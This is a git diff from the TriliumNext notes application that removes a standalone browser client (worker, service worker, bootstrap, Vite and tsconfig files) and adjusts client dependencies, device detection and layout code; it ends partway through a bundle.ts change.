-                message: String(reason?.message || reason),
-                stack: reason?.stack || new Error().stack
-            }
-        });
-    } catch (e) {
-        console.error("[Worker] Failed to report rejection:", e);
-    }
-};
-
-console.log("[Worker] Error handlers installed, loading modules...");
-
-// =============================================================================
-// TYPE-ONLY IMPORTS (erased at runtime, safe as static imports)
-// =============================================================================
-import type { BrowserRouter } from './lightweight/browser_router';
-
-// =============================================================================
-// MODULE STATE (populated by dynamic imports)
-// =============================================================================
-let BrowserSqlProvider: typeof import('./lightweight/sql_provider').default;
-let WorkerMessagingProvider: typeof import('./lightweight/messaging_provider').default;
-let BrowserExecutionContext: typeof import('./lightweight/cls_provider').default;
-let BrowserCryptoProvider: typeof import('./lightweight/crypto_provider').default;
-let BrowserZipProvider: typeof import('./lightweight/zip_provider').default;
-let FetchRequestProvider: typeof import('./lightweight/request_provider').default;
-let StandalonePlatformProvider: typeof import('./lightweight/platform_provider').default;
-let translationProvider: typeof import('./lightweight/translation_provider').default;
-let createConfiguredRouter: typeof import('./lightweight/browser_routes').createConfiguredRouter;
-
-// Instance state
-let sqlProvider: InstanceType<typeof BrowserSqlProvider> | null = null;
-let messagingProvider: InstanceType<typeof WorkerMessagingProvider> | null = null;
-
-// Core module, router, and initialization state
-let coreModule: typeof import("@triliumnext/core") | null = null;
-let router: BrowserRouter | null = null;
-let initPromise: Promise<void> | null = null;
-let initError: Error | null = null;
-let queryString = "";
-
-/**
- * Load all required modules using dynamic imports.
- * This allows errors to be caught by our error handlers.
- */
-async function loadModules(): Promise<void> {
-    console.log("[Worker] Loading lightweight modules...");
-    const [
-        sqlModule,
-        messagingModule,
-        clsModule,
-        cryptoModule,
-        zipModule,
-        requestModule,
-        platformModule,
-        translationModule,
-        routesModule
-    ] = await Promise.all([
-        import('./lightweight/sql_provider.js'),
-        import('./lightweight/messaging_provider.js'),
-        import('./lightweight/cls_provider.js'),
-        import('./lightweight/crypto_provider.js'),
-        import('./lightweight/zip_provider.js'),
-        import('./lightweight/request_provider.js'),
-        import('./lightweight/platform_provider.js'),
-        import('./lightweight/translation_provider.js'),
-        import('./lightweight/browser_routes.js')
-    ]);
-
-    BrowserSqlProvider = sqlModule.default;
-    WorkerMessagingProvider = messagingModule.default;
-    BrowserExecutionContext = clsModule.default;
-    BrowserCryptoProvider = cryptoModule.default;
-    BrowserZipProvider = zipModule.default;
-    FetchRequestProvider = requestModule.default;
-    StandalonePlatformProvider = platformModule.default;
-    translationProvider = translationModule.default;
-    createConfiguredRouter = routesModule.createConfiguredRouter;
-
-    // Create instances
-    sqlProvider = new BrowserSqlProvider();
-    messagingProvider = new WorkerMessagingProvider();
-
-    console.log("[Worker] Lightweight modules loaded successfully");
-}
-
-/**
- * Initialize SQLite WASM and load the core module.
- * This happens once at worker startup.
- */
-async function initialize(): Promise<void> {
-    if (initPromise) {
-        return initPromise; // Already initializing
-    }
-    if (initError) {
-        throw initError; // Failed before, don't retry
-    }
-
-    initPromise = (async () => {
-        try {
-            // First, load all modules dynamically
-            await loadModules();
-
-            console.log("[Worker] Initializing SQLite WASM...");
-            await sqlProvider!.initWasm();
-
-            // Try to use OPFS for persistent storage
-            if (sqlProvider!.isOpfsAvailable()) {
-                console.log("[Worker] OPFS available, loading persistent database...");
-                sqlProvider!.loadFromOpfs("/trilium.db");
-            } else {
-                // Fall back to in-memory database (non-persistent)
-                console.warn("[Worker] OPFS not available, using in-memory database (data will not persist)");
-                console.warn("[Worker] To enable persistence, ensure COOP/COEP headers are set by the server");
-                sqlProvider!.loadFromMemory();
-            }
-
-            console.log("[Worker] Database loaded");
-
-            console.log("[Worker] Loading @triliumnext/core...");
-            const schemaModule = await import("@triliumnext/core/src/assets/schema.sql?raw");
-            coreModule = await import("@triliumnext/core");
-            await coreModule.initializeCore({
-                executionContext: new BrowserExecutionContext(),
-                crypto: new BrowserCryptoProvider(),
-                zip: new BrowserZipProvider(),
-                zipExportProviderFactory: (await import("./lightweight/zip_export_provider_factory.js")).standaloneZipExportProviderFactory,
-                messaging: messagingProvider!,
-                request: new FetchRequestProvider(),
-                platform: new StandalonePlatformProvider(queryString),
-                translations: translationProvider,
-                schema: schemaModule.default,
-                getDemoArchive: async () => {
-                    const response = await fetch("/server-assets/db/demo.zip");
-                    if (!response.ok) return null;
-                    return new Uint8Array(await response.arrayBuffer());
-                },
-                dbConfig: {
-                    provider: sqlProvider!,
-                    isReadOnly: false,
-                    onTransactionCommit: () => {
-                        coreModule?.ws.sendTransactionEntityChangesToAllClients();
-                    },
-                    onTransactionRollback: () => {
-                        // No-op for now
-                    }
-                }
-            });
-            coreModule.ws.init();
-
-            console.log("[Worker] Supported routes", Object.keys(coreModule.routes));
-
-            // Create and configure the router
-            router = createConfiguredRouter();
-            console.log("[Worker] Router configured");
-
-            // initializeDb runs initDbConnection inside an execution context,
-            // which resolves dbReady — required before beccaLoaded can settle.
-            coreModule.sql_init.initializeDb();
-
-            if (coreModule.sql_init.isDbInitialized()) {
-                console.log("[Worker] Database already initialized, loading becca...");
-                await coreModule.becca_loader.beccaLoaded;
-            } else {
-                console.log("[Worker] Database not initialized, skipping becca load (will be loaded during DB initialization)");
-            }
-
-            coreModule.scheduler.startScheduler();
-
-            console.log("[Worker] Initialization complete");
-        } catch (error) {
-            initError = error instanceof Error ? error : new Error(String(error));
-            console.error("[Worker] Initialization failed:", initError);
-            throw initError;
-        }
-    })();
-
-    return initPromise;
-}
-
-/**
- * Ensure the worker is initialized before processing requests.
- * Returns the router if initialization was successful.
- */
-async function ensureInitialized() {
-    await initialize();
-    if (!router) {
-        throw new Error("Router not initialized");
-    }
-    return router;
-}
-
-interface LocalRequest {
-    method: string;
-    url: string;
-    body?: unknown;
-    headers?: Record<string, string>;
-}
-
-// Main dispatch
-async function dispatch(request: LocalRequest) {
-    // Ensure initialization is complete and get the router
-    const appRouter = await ensureInitialized();
-
-    // Dispatch to the router
-    return appRouter.dispatch(request.method, request.url, request.body, request.headers);
-}
-
-// Start initialization immediately when the worker loads
-console.log("[Worker] Starting initialization...");
-initialize().catch(err => {
-    console.error("[Worker] Initialization failed:", err);
-    // Post error to main thread
-    self.postMessage({
-        type: "WORKER_ERROR",
-        error: {
-            message: String(err?.message || err),
-            stack: err?.stack
-        }
-    });
-});
-
-self.onmessage = async (event) => {
-    const msg = event.data;
-    if (!msg) return;
-
-    if (msg.type === "INIT") {
-        queryString = msg.queryString || "";
-        return;
-    }
-
-    if (msg.type !== "LOCAL_REQUEST") return;
-
-    const { id, request } = msg;
-
-    try {
-        const response = await dispatch(request);
-
-        // Transfer body back (if any) - use options object for proper typing
-        (self as unknown as Worker).postMessage({
-            type: "LOCAL_RESPONSE",
-            id,
-            response
-        }, { transfer: response.body ? [response.body] : [] });
-    } catch (e) {
-        console.error("[Worker] Dispatch error:", e);
-        (self as unknown as Worker).postMessage({
-            type: "LOCAL_RESPONSE",
-            id,
-            error: String((e as Error)?.message || e)
-        });
-    }
-};

apps/client-standalone/src/main.ts

@@ -1,84 +0,0 @@
-import { attachServiceWorkerBridge, startLocalServerWorker } from "./local-bridge.js";
-
-async function waitForServiceWorkerControl(): Promise<void> {
-    if (!("serviceWorker" in navigator)) {
-        throw new Error("Service Worker not supported in this browser");
-    }
-
-    // If already controlling, we're good
-    if (navigator.serviceWorker.controller) {
-        console.log("[Bootstrap] Service worker already controlling");
-        return;
-    }
-
-    console.log("[Bootstrap] Waiting for service worker to take control...");
-
-    // Register service worker
-    await navigator.serviceWorker.register("./sw.js", { scope: "/" });
-
-    // Wait for it to be ready (installed + activated)
-    await navigator.serviceWorker.ready;
-
-    // Check if we're now controlling
-    if (navigator.serviceWorker.controller) {
-        console.log("[Bootstrap] Service worker now controlling");
-        return;
-    }
-
-    // If not controlling yet, we need to reload the page for SW to take control
-    // This is standard PWA behavior on first install
-    console.log("[Bootstrap] Service worker installed but not controlling yet - reloading page");
-
-    // Wait a tiny bit for SW to fully activate
-    await new Promise(resolve => setTimeout(resolve, 100));
-
-    // Reload to let SW take control
-    window.location.reload();
-
-    // Throw to stop execution (page will reload)
-    throw new Error("Reloading for service worker activation");
-}
-
-async function bootstrap() {
-    /* fixes https://github.com/webpack/webpack/issues/10035 */
-    window.global = globalThis;
-
-    try {
-        // 1) Start local worker ASAP (so /bootstrap is fast)
-        startLocalServerWorker();
-
-        // 2) Bridge SW -> local worker
-        attachServiceWorkerBridge();
-
-        // 3) Wait for service worker to control the page (may reload on first install)
-        await waitForServiceWorkerControl();
-
-        await loadScripts();
-    } catch (err) {
-        // If error is from reload, it will stop here (page reloads)
-        // Otherwise, show error to user
-        if (err instanceof Error && err.message.includes("Reloading")) {
-            // Page is reloading, do nothing
-            return;
-        }
-
-        console.error("[Bootstrap] Fatal error:", err);
-        document.body.innerHTML = `
-            <div style="padding: 40px; max-width: 600px; margin: 0 auto; font-family: system-ui, sans-serif;">
-                <h1 style="color: #d32f2f;">Failed to Initialize</h1>
-                <p>The application failed to start. Please check the browser console for details.</p>
-                <pre style="background: #f5f5f5; padding: 16px; border-radius: 4px; overflow: auto;">${err instanceof Error ? err.message : String(err)}</pre>
-                <button onclick="location.reload()" style="padding: 12px 24px; background: #1976d2; color: white; border: none; border-radius: 4px; cursor: pointer; font-size: 16px;">
-                    Reload Page
-                </button>
-            </div>
-        `;
-        document.body.style.display = "block";
-    }
-}
-
-async function loadScripts() {
-    await import("../../client/src/index.js");
-}
-
-bootstrap();

apps/client-standalone/src/sw.ts

@@ -1,186 +0,0 @@
-// public/sw.js
-const VERSION = "localserver-v1.4";
-const STATIC_CACHE = `static-${VERSION}`;
-
-// Check if running in dev mode (passed via URL parameter)
-const isDev = true;
-
-if (isDev) {
-    console.log('[Service Worker] Running in DEV mode - caching disabled');
-}
-
-// Adjust these to your routes:
-const LOCAL_FIRST_PREFIXES = [
-    "/bootstrap",
-    "/api/",
-    "/sync/",
-    "/search/"
-];
-
-// Optional: basic precache list (keep small; you can expand later)
-const PRECACHE_URLS = [
-    // "/",
-    // "/index.html",
-    // "/manifest.webmanifest",
-    // "/favicon.ico",
-];
-
-self.addEventListener("install", (event) => {
-    event.waitUntil((async () => {
-        // Skip precaching in dev mode
-        if (!isDev) {
-            const cache = await caches.open(STATIC_CACHE);
-            await cache.addAll(PRECACHE_URLS);
-        }
-        self.skipWaiting();
-    })());
-});
-
-self.addEventListener("activate", (event) => {
-    event.waitUntil((async () => {
-    // Cleanup old caches
-        const keys = await caches.keys();
-        await Promise.all(keys.map((k) => (k === STATIC_CACHE ? Promise.resolve() : caches.delete(k))));
-        await self.clients.claim();
-    })());
-});
-
-function isLocalFirst(url) {
-    return LOCAL_FIRST_PREFIXES.some((p) => url.pathname.startsWith(p));
-}
-
-async function cacheFirst(request) {
-    // In dev mode, always bypass cache
-    if (isDev) {
-        return fetch(request);
-    }
-
-    const cache = await caches.open(STATIC_CACHE);
-    const cached = await cache.match(request);
-    if (cached) return cached;
-
-    const fresh = await fetch(request);
-    // Cache only successful GETs
-    if (request.method === "GET" && fresh.ok) cache.put(request, fresh.clone());
-    return fresh;
-}
-
-async function networkFirst(request) {
-    // In dev mode, always bypass cache
-    if (isDev) {
-        return fetch(request);
-    }
-
-    const cache = await caches.open(STATIC_CACHE);
-    try {
-        const fresh = await fetch(request);
-        // Cache only successful GETs
-        if (request.method === "GET" && fresh.ok) cache.put(request, fresh.clone());
-        return fresh;
-    } catch (error) {
-        // Fallback to cache if network fails
-        const cached = await cache.match(request);
-        if (cached) return cached;
-        throw error;
-    }
-}
-
-async function forwardToClientLocalServer(request, clientId) {
-    // Find a client to handle the request (prefer the initiating client if available)
-    let client = clientId ? await self.clients.get(clientId) : null;
-
-    if (!client) {
-        const all = await self.clients.matchAll({ type: "window", includeUncontrolled: true });
-        client = all[0] || null;
-    }
-
-    // If no page is available, fall back to network
-    if (!client) return fetch(request);
-
-    const reqUrl = request.url;
-    const headersObj = {};
-    for (const [k, v] of request.headers.entries()) headersObj[k] = v;
-
-    const body = (request.method === "GET" || request.method === "HEAD")
-        ? null
-        : await request.arrayBuffer();
-
-    const id = crypto.randomUUID();
-    const channel = new MessageChannel();
-
-    const responsePromise = new Promise((resolve, reject) => {
-        const timeout = setTimeout(() => {
-            reject(new Error("Local server timeout"));
-        }, 30_000);
-
-        channel.port1.onmessage = (event) => {
-            clearTimeout(timeout);
-            resolve(event.data);
-        };
-        channel.port1.onmessageerror = () => {
-            clearTimeout(timeout);
-            reject(new Error("Local server message error"));
-        };
-    });
-
-    // Send to the client with a reply port
-    client.postMessage({
-        type: "LOCAL_FETCH",
-        id,
-        request: {
-            url: reqUrl,
-            method: request.method,
-            headers: headersObj,
-            body // ArrayBuffer or null
-        }
-    }, [channel.port2]);
-
-    const localResp = await responsePromise;
-
-    if (!localResp || localResp.type !== "LOCAL_FETCH_RESPONSE" || localResp.id !== id) {
-    // Protocol mismatch; fall back
-        return fetch(request);
-    }
-
-    // localResp.response: { status, headers, body }
-    const { status, headers, body: respBody } = localResp.response;
-
-    const respHeaders = new Headers();
-    if (headers) {
-        for (const [k, v] of Object.entries(headers)) respHeaders.set(k, String(v));
-    }
-
-    return new Response(respBody ? respBody : null, {
-        status: status || 200,
-        headers: respHeaders
-    });
-}
-
-self.addEventListener("fetch", (event) => {
-    const url = new URL(event.request.url);
-
-    // Only handle same-origin
-    if (url.origin !== self.location.origin) return;
-
-    // API-ish: local-first via bridge (must be checked before navigate handling,
-    // because export triggers a navigation to an /api/ URL)
-    if (isLocalFirst(url)) {
-        event.respondWith(forwardToClientLocalServer(event.request, event.clientId));
-        return;
-    }
-
-    // HTML files: network-first to ensure updates are reflected immediately
-    if (event.request.mode === "navigate" || url.pathname.endsWith(".html")) {
-        event.respondWith(networkFirst(event.request));
-        return;
-    }
-
-    // Static assets: cache-first for performance
-    if (event.request.method === "GET") {
-        event.respondWith(cacheFirst(event.request));
-        return;
-    }
-
-    // Default
-    event.respondWith(fetch(event.request));
-});

apps/client-standalone/src/vite-env.d.ts

@@ -1,31 +0,0 @@
-/// <reference types="vite/client" />
-
-interface ImportMetaEnv {
-  readonly VITE_APP_TITLE: string
-}
-
-interface ImportMeta {
-  readonly env: ImportMetaEnv
-}
-
-interface Window {
-  glob: {
-    assetPath: string;
-    themeCssUrl?: string;
-    themeUseNextAsBase?: string;
-    iconPackCss: string;
-    device: string;
-    headingStyle: string;
-    layoutOrientation: string;
-    platform: string;
-    isElectron: boolean;
-    hasNativeTitleBar: boolean;
-    hasBackgroundEffects: boolean;
-    currentLocale: {
-      id: string;
-      rtl: boolean;
-    };
-    activeDialog: any;
-  };
-  global: typeof globalThis;
-}

apps/client-standalone/tsconfig.app.json

@@ -1,26 +0,0 @@
-{
-  "extends": "../../tsconfig.base.json",
-  "compilerOptions": {
-    "lib": [
-      "ES2022",
-      "dom",
-      "dom.iterable"
-    ],
-    "skipLibCheck": true,
-    "types": [
-      "vite/client"
-    ],
-    "jsx": "react-jsx",
-    "jsxImportSource": "preact"
-  },
-  "include": [
-    "src/**/*",
-    "../client/src/**/*"
-  ],
-  "exclude": [
-    "src/**/*.spec.ts",
-    "src/**/*.test.ts",
-    "../client/src/**/*.spec.ts",
-    "../client/src/**/*.test.ts"
-  ]
-}

apps/client-standalone/tsconfig.json

@@ -1,7 +0,0 @@
-{
-  "extends": "../../tsconfig.base.json",
-  "references": [
-    { "path": "./tsconfig.app.json" },
-    { "path": "./tsconfig.spec.json" }
-  ]
-}

apps/client-standalone/tsconfig.spec.json

@@ -1,18 +0,0 @@
-{
-  "extends": "../../tsconfig.base.json",
-  "compilerOptions": {
-    "lib": [
-      "ES2022",
-      "dom",
-      "dom.iterable"
-    ],
-    "types": [
-      "vitest/globals",
-      "happy-dom"
-    ]
-  },
-  "include": [
-    "src/**/*.spec.ts",
-    "src/**/*.test.ts"
-  ]
-}

apps/client-standalone/vite.config.mts

@@ -1,188 +0,0 @@
-import prefresh from '@prefresh/vite';
-import { join } from 'path';
-import { defineConfig } from 'vite';
-import { viteStaticCopy } from 'vite-plugin-static-copy';
-
-const clientAssets = ["assets", "stylesheets", "fonts", "translations"];
-
-const isDev = process.env.NODE_ENV === "development";
-
-// Watch client files and trigger reload in development
-const clientWatchPlugin = () => ({
-    name: 'client-watch',
-    configureServer(server: any) {
-        if (isDev) {
-            // Watch client source files (adjusted for new root)
-            server.watcher.add('../../client/src/**/*');
-            server.watcher.on('change', (file: string) => {
-                if (file.includes('../../client/src/')) {
-                    server.ws.send({
-                        type: 'full-reload'
-                    });
-                }
-            });
-        }
-    }
-});
-
-// Always copy SQLite WASM files so they're available to the module
-const sqliteWasmPlugin = viteStaticCopy({
-    targets: [
-        {
-            src: "../../../node_modules/@sqlite.org/sqlite-wasm/sqlite-wasm/jswasm/sqlite3.wasm",
-            dest: "assets"
-        },
-        {
-            src: "../../../node_modules/@sqlite.org/sqlite-wasm/sqlite-wasm/jswasm/sqlite3-opfs-async-proxy.js",
-            dest: "assets"
-        }
-    ]
-});
-
-let plugins: any = [
-    sqliteWasmPlugin,  // Always include SQLite WASM files
-    viteStaticCopy({
-        targets: clientAssets.map((asset) => ({
-            src: `../../client/src/${asset}/*`,
-            dest: asset
-        })),
-        // Enable watching in development
-        ...(isDev && {
-            watch: {
-                reloadPageOnChange: true
-            }
-        })
-    }),
-    viteStaticCopy({
-        targets: [
-            {
-                src: "../../server/src/assets/*",
-                dest: "server-assets"
-            }
-        ]
-    }),
-    // Watch client files for changes in development
-    ...(isDev ? [
-        prefresh(),
-        clientWatchPlugin()
-    ] : [])
-];
-
-if (!isDev) {
-    plugins = [
-        ...plugins,
-        viteStaticCopy({
-            structured: true,
-            targets: [
-                {
-                    src: "../../../node_modules/@excalidraw/excalidraw/dist/prod/fonts/*",
-                    dest: "",
-                }
-            ]
-        })
-    ]
-}
-
-export default defineConfig(() => ({
-    root: join(__dirname, 'src'),  // Set src as root so index.html is served from /
-    envDir: __dirname,  // Load .env files from client-standalone directory, not src/
-    cacheDir: '../../../node_modules/.vite/apps/client-standalone',
-    base: "",
-    plugins,
-    esbuild: {
-        jsx: 'automatic',
-        jsxImportSource: 'preact',
-        jsxDev: isDev
-    },
-    css: {
-        transformer: 'lightningcss',
-        devSourcemap: isDev
-    },
-    publicDir: join(__dirname, 'public'),
-    resolve: {
-        alias: [
-            {
-                find: "react",
-                replacement: "preact/compat"
-            },
-            {
-                find: "react-dom",
-                replacement: "preact/compat"
-            },
-            {
-                find: "@client",
-                replacement: join(__dirname, "../client/src")
-            }
-        ],
-        dedupe: [
-            "react",
-            "react-dom",
-            "preact",
-            "preact/compat",
-            "preact/hooks"
-        ]
-    },
-    server: {
-        watch: {
-            // Watch workspace packages
-            ignored: ['!**/node_modules/@triliumnext/**'],
-            // Also watch client assets for live reload
-            usePolling: false,
-            interval: 100,
-            binaryInterval: 300
-        },
-        // Watch additional directories for changes
-        fs: {
-            allow: [
-                // Allow access to workspace root
-                '../../../',
-                // Explicitly allow client directory
-                '../../client/src/'
-            ]
-        },
-        headers: {
-            // Required for SharedArrayBuffer which is needed by SQLite WASM OPFS VFS
-            // See: https://sqlite.org/wasm/doc/trunk/persistence.md#coop-coep
-            "Cross-Origin-Opener-Policy": "same-origin",
-            "Cross-Origin-Embedder-Policy": "require-corp"
-        }
-    },
-    optimizeDeps: {
-        exclude: ['@sqlite.org/sqlite-wasm', '@triliumnext/core']
-    },
-    worker: {
-        format: "es" as const
-    },
-    commonjsOptions: {
-        transformMixedEsModules: true,
-    },
-    build: {
-        target: "esnext",
-        outDir: join(__dirname, 'dist'),
-        emptyOutDir: true,
-        rollupOptions: {
-            input: {
-                main: join(__dirname, 'src', 'index.html'),
-                sw: join(__dirname, 'src', 'sw.ts'),
-                'local-bridge': join(__dirname, 'src', 'local-bridge.ts'),
-            },
-            output: {
-                entryFileNames: (chunkInfo) => {
-                    // Service worker and other workers should be at root level
-                    if (chunkInfo.name === 'sw') {
-                        return '[name].js';
-                    }
-                    return 'src/[name].js';
-                },
-                chunkFileNames: "src/[name].js",
-                assetFileNames: "src/[name].[ext]"
-            }
-        }
-    },
-    test: {
-        environment: "happy-dom"
-    },
-    define: {
-        "process.env.IS_PREACT": JSON.stringify("true"),
-    }
-}));

apps/client/package.json

@@ -1,6 +1,6 @@
 {
   "name": "@triliumnext/client",
-  "version": "0.102.1",
+  "version": "0.102.2",
   "description": "JQuery-based client for TriliumNext, used for both web and desktop (via Electron)",
   "private": true,
   "license": "AGPL-3.0-only",
@@ -27,7 +27,6 @@
     "@maplibre/maplibre-gl-leaflet": "0.1.3",
     "@mermaid-js/layout-elk": "0.2.1",
     "@mind-elixir/node-menu": "5.0.1",
-    "@popperjs/core": "2.11.8",
     "@preact/signals": "2.9.0",
     "@triliumnext/ckeditor5": "workspace:*",
     "@triliumnext/codemirror": "workspace:*",
@@ -53,7 +52,6 @@
     "dompurify": "3.3.3",
     "draggabilly": "3.0.0",
     "force-graph": "1.51.2",
-    "globals": "17.4.0",
     "i18next": "26.0.3",
     "i18next-http-backend": "3.0.4",
     "jquery": "4.0.0",
@@ -64,9 +62,8 @@
     "leaflet-gpx": "2.2.0",
     "mark.js": "8.11.1",
     "marked": "17.0.5",
-    "mermaid": "11.13.0",
+    "mermaid": "11.14.0",
     "mind-elixir": "5.10.0",
-    "normalize.css": "8.0.1",
     "panzoom": "9.4.4",
     "preact": "10.29.0",
     "react-i18next": "17.0.2",
@@ -92,4 +89,4 @@
     "script-loader": "0.7.2",
     "vite-plugin-static-copy": "4.0.0"
   }
-}
+}

apps/client/src/assets/icon-color.svg

@@ -1,28 +0,0 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<svg enable-background="new 0 0 256 256" version="1.1" viewBox="0 0 256 256" xml:space="preserve" xmlns="http://www.w3.org/2000/svg">
-	<title>Trilium Notes</title>
-	<style type="text/css">
-		.st0{fill:#95C980;}
-		.st1{fill:#72B755;}
-		.st2{fill:#4FA52B;}
-		.st3{fill:#EE8C89;}
-		.st4{fill:#E96562;}
-		.st5{fill:#E33F3B;}
-		.st6{fill:#EFB075;}
-		.st7{fill:#E99547;}
-		.st8{fill:#E47B19;}
-	</style>
-	<g>
-		<path class="st0" d="m202.9 112.7c-22.5 16.1-54.5 12.8-74.9 6.3l14.8-11.8 14.1-11.3 49.1-39.3-51.2 35.9-14.3 10-14.9 10.5c0.7-21.2 7-49.9 28.6-65.4 1.8-1.3 3.9-2.6 6.1-3.8 2.7-1.5 5.7-2.9 8.8-4.1 27.1-11.1 68.5-15.3 85.2-9.5 0.1 16.2-15.9 45.4-33.9 65.9-2.4 2.8-4.9 5.4-7.4 7.8-3.4 3.5-6.8 6.4-10.1 8.8z"/>
-		<path class="st1" d="m213.1 104c-22.2 12.6-51.4 9.3-70.3 3.2l14.1-11.3 49.1-39.3-51.2 35.9-14.3 10c0.5-18.1 4.9-42.1 19.7-58.6 2.7-1.5 5.7-2.9 8.8-4.1 27.1-11.1 68.5-15.3 85.2-9.5 0.1 16.2-15.9 45.4-33.9 65.9-2.3 2.8-4.8 5.4-7.2 7.8z"/>
-		<path class="st2" d="m220.5 96.2c-21.1 8.6-46.6 5.3-63.7-0.2l49.2-39.4-51.2 35.9c0.3-15.8 3.5-36.6 14.3-52.8 27.1-11.1 68.5-15.3 85.2-9.5 0.1 16.2-15.9 45.4-33.8 66z"/>
-	
-		<path class="st3" d="m106.7 179c-5.8-21 5.2-43.8 15.5-57.2l4.8 14.2 4.5 13.4 15.9 47-12.8-47.6-3.6-13.2-3.7-13.9c15.5 6.2 35.1 18.6 40.7 38.8 0.5 1.7 0.9 3.6 1.2 5.5 0.4 2.4 0.6 5 0.7 7.7 0.9 23.1-7.1 54.9-15.9 65.7-12-4.3-29.3-24-39.7-42.8-1.4-2.6-2.7-5.1-3.8-7.6-1.6-3.5-2.9-6.8-3.8-10z"/>
-		<path class="st4" d="m110.4 188.9c-3.4-19.8 6.9-40.5 16.6-52.9l4.5 13.4 15.9 47-12.8-47.6-3.6-13.2c13.3 5.2 29.9 15 38.1 30.4 0.4 2.4 0.6 5 0.7 7.7 0.9 23.1-7.1 54.9-15.9 65.7-12-4.3-29.3-24-39.7-42.8-1.4-2.6-2.7-5.2-3.8-7.7z"/>
-		<path class="st5" d="m114.2 196.5c-0.7-18 8.6-35.9 17.3-47.1l15.9 47-12.8-47.6c11.6 4.4 26.1 12.4 35.2 24.8 0.9 23.1-7.1 54.9-15.9 65.7-12-4.3-29.3-24-39.7-42.8z"/>
-
-		<path class="st6" d="m86.3 59.1c21.7 10.9 32.4 36.6 35.8 54.9l-15.2-6.6-14.5-6.3-50.6-22 48.8 24.9 13.6 6.9 14.3 7.3c-16.6 7.9-41.3 14.5-62.1 4.1-1.8-0.9-3.6-1.9-5.4-3.2-2.3-1.5-4.5-3.2-6.8-5.1-19.9-16.4-40.3-46.4-42.7-61.5 12.4-6.5 41.5-5.8 64.8-0.3 3.2 0.8 6.2 1.6 9.1 2.5 4 1.3 7.6 2.8 10.9 4.4z"/>
-		<path class="st7" d="m75.4 54.8c18.9 12 28.4 35.6 31.6 52.6l-14.5-6.3-50.6-22 48.7 24.9 13.6 6.9c-14.1 6.8-34.5 13-53.3 8.2-2.3-1.5-4.5-3.2-6.8-5.1-19.8-16.4-40.2-46.4-42.6-61.5 12.4-6.5 41.5-5.8 64.8-0.3 3.1 0.8 6.2 1.6 9.1 2.6z"/>
-		<path class="st8" d="m66.3 52.2c15.3 12.8 23.3 33.6 26.1 48.9l-50.6-22 48.8 24.9c-12.2 6-29.6 11.8-46.5 10-19.8-16.4-40.2-46.4-42.6-61.5 12.4-6.5 41.5-5.8 64.8-0.3z"/>
-	</g>
-</svg>

apps/client/src/index.ts

@@ -36,37 +36,10 @@ async function setupGlob() {
     window.global = globalThis; /* fixes https://github.com/webpack/webpack/issues/10035 */
     window.glob = {
         ...json,
-        activeDialog: null,
-        device: json.device || getDevice()
+        activeDialog: null
     };
 }
 
-function getDevice() {
-    // Respect user's manual override via URL.
-    const urlParams = new URLSearchParams(window.location.search);
-    if (urlParams.has("print")) {
-        return "print";
-    } else if (urlParams.has("desktop")) {
-        return "desktop";
-    } else if (urlParams.has("mobile")) {
-        return "mobile";
-    }
-
-    const deviceCookie = document.cookie.split("; ").find(row => row.startsWith("trilium-device="))?.split("=")[1];
-    if (deviceCookie === "desktop" || deviceCookie === "mobile") return deviceCookie;
-    return isMobile() ? "mobile" : "desktop";
-}
-
-// https://stackoverflow.com/a/73731646/944162
-function isMobile() {
-    const mQ = matchMedia?.("(pointer:coarse)");
-    if (mQ?.media === "(pointer:coarse)") return !!mQ.matches;
-
-    if ("orientation" in window) return true;
-    const userAgentsRegEx = /\b(Android|iPhone|iPad|iPod|Windows Phone|BlackBerry|webOS|IEMobile)\b/i;
-    return userAgentsRegEx.test(navigator.userAgent);
-}
-
 async function loadBootstrapCss() {
     // We have to selectively import Bootstrap CSS based on text direction.
     if (glob.isRtl) {
@@ -112,8 +85,6 @@ function loadIcons() {
 }
 
 function setBodyAttributes() {
-    if (!glob.dbInitialized) return;
-
     const { device, headingStyle, layoutOrientation, platform, isElectron, hasNativeTitleBar, hasBackgroundEffects, currentLocale } = window.glob;
     const classesToSet = [
         device,
@@ -134,11 +105,6 @@ function setBodyAttributes() {
 }
 
 async function loadScripts() {
-    if (!glob.dbInitialized) {
-        await import("./setup.js");
-        return;
-    }
-
     switch (glob.device) {
         case "mobile":
             await import("./mobile.js");

apps/client/src/layouts/desktop_layout.tsx

@@ -30,7 +30,6 @@ import SpacerWidget from "../widgets/launch_bar/SpacerWidget.jsx";
 import InlineTitle from "../widgets/layout/InlineTitle.jsx";
 import NoteBadges from "../widgets/layout/NoteBadges.jsx";
 import NoteTitleActions from "../widgets/layout/NoteTitleActions.jsx";
-import StandaloneWarningBar from "../widgets/layout/StandaloneWarningBar.jsx";
 import StatusBar from "../widgets/layout/StatusBar.jsx";
 import NoteIconWidget from "../widgets/note_icon.jsx";
 import NoteTitleWidget from "../widgets/note_title.jsx";
@@ -187,7 +186,6 @@ export default class DesktopLayout {
                     )
             )
             .optChild(launcherPaneIsHorizontal && isNewLayout, <StatusBar />)
-            .optChild(glob.isStandalone, <StandaloneWarningBar />)
             .child(<CloseZenModeButton />)
 
             // Desktop-specific dialogs.

apps/client/src/layouts/mobile_layout.tsx

@@ -13,7 +13,6 @@ import LauncherContainer from "../widgets/launch_bar/LauncherContainer.jsx";
 import InlineTitle from "../widgets/layout/InlineTitle.jsx";
 import NoteBadges from "../widgets/layout/NoteBadges.jsx";
 import NoteTitleActions from "../widgets/layout/NoteTitleActions.jsx";
-import StandaloneWarningBar from "../widgets/layout/StandaloneWarningBar";
 import MobileDetailMenu from "../widgets/mobile_widgets/mobile_detail_menu.js";
 import ScreenContainer from "../widgets/mobile_widgets/screen_container.js";
 import SidebarContainer from "../widgets/mobile_widgets/sidebar_container.js";
@@ -56,7 +55,6 @@ export default class MobileLayout {
                             .child(
                                 new SplitNoteContainer(() =>
                                     new NoteWrapperWidget()
-                                        .optChild(glob.isStandalone, <StandaloneWarningBar />)
                                         .child(
                                             new FlexContainer("row")
                                                 .class("title-row note-split-title")

apps/client/src/services/bundle.ts

@@ -1,7 +1,5 @@
-import { ScriptParams } from "@triliumnext/commons";
 import { h, VNode } from "preact";
 
-import FNote from "../entities/fnote.js";
 import BasicWidget, { ReactWrappedWidget } from "../widgets/basic_widget.js";
 import RightPanelWidget from "../widgets/right_panel_widget.js";
 import type { Entity } from "./frontend_script_api.js";
@@ -28,7 +26,7 @@ type WithNoteId<T> = T & {
 };
 export type Widget = WithNoteId<(LegacyWidget | WidgetDefinitionWithType)>;
 
-async function getAndExecuteBundle(noteId: string, originEntity: FNote | null = null, script: string | null = null, params: ScriptParams | null = null) {
